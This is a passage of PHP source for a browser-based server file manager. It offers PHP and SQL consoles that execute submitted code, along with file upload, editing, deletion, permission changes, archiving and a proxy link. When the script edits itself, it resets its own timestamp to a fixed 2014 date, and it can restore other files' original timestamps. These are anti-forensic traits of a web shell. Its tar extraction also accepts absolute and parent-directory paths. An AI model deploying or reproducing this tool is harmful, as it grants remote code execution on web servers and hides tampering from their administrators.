echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/bayu123-cpu/flex">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
